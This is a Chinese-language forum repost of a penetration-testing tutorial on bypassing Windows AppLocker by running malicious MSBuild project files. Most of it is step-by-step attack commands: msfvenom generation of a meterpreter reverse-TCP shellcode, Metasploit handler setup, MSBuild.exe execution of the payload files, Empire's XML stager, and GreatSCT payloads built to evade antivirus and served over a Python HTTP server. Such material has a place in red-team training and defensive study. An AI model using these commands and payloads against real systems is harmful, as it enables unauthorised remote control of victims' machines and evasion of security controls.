利用msbuild.exe绕过应用程序白名单安全机制的多种姿势

Track-SSG   ·   发表于 2019-01-24 11:01:26   ·   漏洞文章
原文地址:https://www.hackingarticles.in/bypass-application-whitelisting-using-msbuild-exe-multiple-methods/

在本文中,我们将为大家介绍如何绕过最常见、也是大家最熟悉的应用程序白名单安全机制,即AppLocker。众所周知,出于安全原因,系统管理员会添加相应的组策略来限制本地用户的应用程序的运行。在上一篇文章,即“Windows AppLocker策略入门指南”中,我们为读者介绍了如何通过AppLocker规则来定义应用程序控制策略,以及如何实施这些策略。接下来,我们将介绍如何借助MSbuild.exe绕过AppLocker策略。

MSbuild.exe简介

Microsoft Build Engine是一个用于构建应用程序的平台。该引擎(也称为MSBuild)为控制构建平台如何处理和生成软件的项目文件提供了一个xm l schema。虽然Visual Studio要用到MSBuild,但MSBuild却并不依赖于Visual Studio。通过对项目或解决方案文件调用msbuild.exe,可以在未安装Visual Studio的环境中组织和构建产品。

Visual Studio 使用 MSBuild 来加载和生成托管项目。Visual Studio 中的项目文件(.csproj.vbprojvcxproj 等)含有相应的MSBuild xm l 代码。

漏洞利用技术

使用Msfvenom生成CSharp文件

我们使用Microsoft VisualStudio创建以MSBuild格式保存的、带有*.csproj后缀的C#C Sharp)编程项目,以便可以使用MSBuild平台将其编译为可执行程序。

借助于一个恶意的构建的过程,我们可以获得受害者计算机的反向shell。接下来,我们要生成file.csproj文件,为此,首先需要通过msfvenom生成一个基于C#shellcode。之后,将该shellcode放入我们的file.csproj中,具体如下所示。

msfvenom -p windows/meterpreter/reverse_tcplhost=192.168.1.109 lport=1234 -f csharp

图片.png

上面的shellcode应该放入xm l文件中,并且,我们可以从github下载这个xm l文件,其中存放MSBuild要编译和执行的代码。该xm l文件应另存为file.csproj ,所这样,必须通过MSBuild运行file.csproj才能生成Meterpreter会话。

注意:要替换Cshellcodeshellcode的值,然后,将buf重命名为shellcode,如下图所示。

图片.png

我们可以从Visual Studio或从命令行窗口中运行MSBuild。通过Visual Studio,不仅可以编译应用程序,同时,还能指定编译后的代码适用于哪个版本的.NET fr amework。例如,同一个应用程序源代码,既可以编译为适用于32位平台上的.NET fr amework2.0环境中的程序,也可以让编译好的代码运行于64位平台上的.NET fr amework4.5环境。像这种将源代码编译为适用于多种框架的能力,被称为multitargeting技术。

要了解有关MSBuild的更多信息,请阅读以下内容: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015

现在启动multi/handler以获取Meterpreter会话,并在目标路径C:\Windows\Microsoft.NET\fr amework\v4.0.30319中使用msbuild.exe运行file.csproj文件,具体如下所示。

C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exefile.csproj

注意:您需要恶意payload(即xm l/csproj)保存到下面的位置:

C:\Windows\Microsoft.NET\fr amework\v4.0.30319\and then execute this file with command prompt.

图片.png

use exploit/multi/handler
msf exploit(multi/handler) > set payloadwindows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost192.168.1.109
msf exploit(multi/handler) > set lport1234
msf exploit(multi/handler) > exploit

如您所见,这样就得到了meterpreter会话,如下所示:

图片.png

生成利用MSBuild的xm l文件

如上所述,MSBuild使用了一种基于xm l的项目文件格式,这种格式不仅简单易懂,并且易于扩展,因此,我们可以将上面生成的file.csproj重命名为file.xm l,然后,再次使用msbuild.exe在目标路径C:\Windows\Microsoft.Net\fr amework\v4.0.30319上运行file.xm l文件,具体如图所示。

C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exefile.xm l

图片.png

use exploit/multi/handler
msf exploit(multi/handler) > set payloadwindows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost192.168.1.109
msf exploit(multi/handler) > set lport1234
msf exploit(multi/handler) > exploit

如您所见,我们这样就得到了受害者的meterpreter会话,如下所示:

图片.png

Nps_Payload脚本

该脚本用于生成绕过入侵检测的payload。当然,这里用到了多种已经公开的技术。该脚本是由Larry Spohn@_Spoonman1091)撰写的,但是Payload则是由Ben Mauch@_Ben0xA)编写的。该脚本可以从github下载。

Nps_payload能够生成可以通过msbuild.exemshta.exe执行的payload,以通过meterpreter会话获取受害者计算机的反向连接。

我们可以按照以下步骤来生成payload

  1.   github下载nps payload后,运行./nps_payload.py脚本。
  2.   1,选择任务“generatemsbuild/nps/msf
  3.   再次按1,选择payloadwindows/meterpreter/reverse_tcp

这样一来,将在xm l文件中生成payload,然后从目标位置C:\Windows\Microsoft.Net\fr amework\v4.0.30319发送该文件,具体如前所述,同时,在新终端中运行以下命令以启动侦听器。

msfconsole -r msbuld_nps.rc

图片.png

现在,请重复上面的步骤,在命令提示符下执行msbuild_nps.xm l,并通过Meterpreter获得反向连接,具体如下所示:

C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exemsbuild_nps.xm l

图片.png


PowerShell Empire

接下来,我们将为读者介绍另一种针对Msbuild的攻击方法,为此,我们需要用到empire。实际上,Empire是一个后续利用框架。到目前为止,我们已经将xm l图钉与me tasploit进行了配对,但是在接下来介绍的这种方法中,我们将使用Empire框架。由于该框架是基于PythonPowerShell Windows代理的,因此非常有用。Empire@harmj0y@sixdub@enigma0x3rvrsh3ll@killswitch_gui@xorrior开发,下载地址为https://github.com/empireproject/empire

关于Empire的使用指南,请访问下面的文章:

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

启动Empipre框架后,请键入listener命令,以检查是否存在处于活动状态的侦听器。正如您在下面的图像中看到的,这里并没有处于活动状态的侦听器。因此,我们需要设置一个侦听器,具体命令如下所示:

uselistner httpset Host http://192.168.1.107set port 80execute

使用上面的命令,可以激活一个侦听器。如果键入back命令的话,则会退出该侦听器,这样就可以启动PowerShell了。

对于Msbuild攻击,我们将用到stager。在empire中,stager是这样一段代码:通过它,我们能够让受害者机器上的代理来运行指定的恶意代码。为此,可以键入下列命令:

usestager windows/launcher_xm lset listener httpexecute

UseStager将创建一个恶意代码文件,该文件将保存在/tmp目录下面名为launcher.xm l的文件中。

图片.png

一旦该文件被运行,我们就能在侦听器上看到相应的运行结果。为了在受害者机器上面运行该文件,需要执行下列命令:

cd C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exe launcher.xm l

图片.png

要查看是否有会话已打开,请键入“agents”。这样,将显示我们拥有的会话的名称列表。若要访问某会话,可以使用如下所示的命令:

interact A8H14C7L

上面的命令将授予您对指定会话的访问权限。

sysinfoinfo

图片.png

GreatSCT

GreatSCT是这样一个工具:借助于它,我们不仅可以使用me tasploit的漏洞利用代码,并且还能对其进行免杀处理,以绕过大多数防病毒程序。目前,GreatSCT是由@_ConsciousHacker.进行维护的,其下载地址为: https://github.com/GreatSCT/GreatSCT

下载并运行该软件后,可以通过以下命令来访问各个功能模块:

use Bypass

图片.png

现在,我们来查看payload的类型列表,具体命令如下所示:

list

图片.png

这样,我们就可以根据攻击目标,来选择相应的payload了。就本文来说,我们需要键入以下命令:

use msbuild/meterpreter/rev_tcp.py

图片.png

上面的命令执行后,继续键入以下命令:

set lhost 192.168.1.107generate

图片.png

当生成payload时,会要求为其指定一个名称。默认情况下,它将使用“payload”进行命名。不过,这里将msbuild指定为该payload的名称,输出代码将保存在xm l中。

图片.png

现在,它生成了两个文件。一个是me tasploitRC文件,另一个是msbuild.xm l文件。

接下来,我们需要在/usr/share/greatsct-output/source目录中输入以下命令,以便启动Python服务器:

python -m SimpleHTTPServer 80

图片.png

键入以下命令,以便让受害者的机器运行该文件:

cd C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exe msbuild.xm l

图片.png

同时,使用资源文件启动multi/handler。为此,请键入下列命令:

msfconsole -r/usr/share/greatsct-output/handlers/payload.rc

瞧,搞定!就像您看到的那样,我们获得了一个Meterpreter会话。

图片.png

参考资料: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017


打赏我,让我更有动力~

0 条回复   |  直到 2019-1-24 | 1186 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.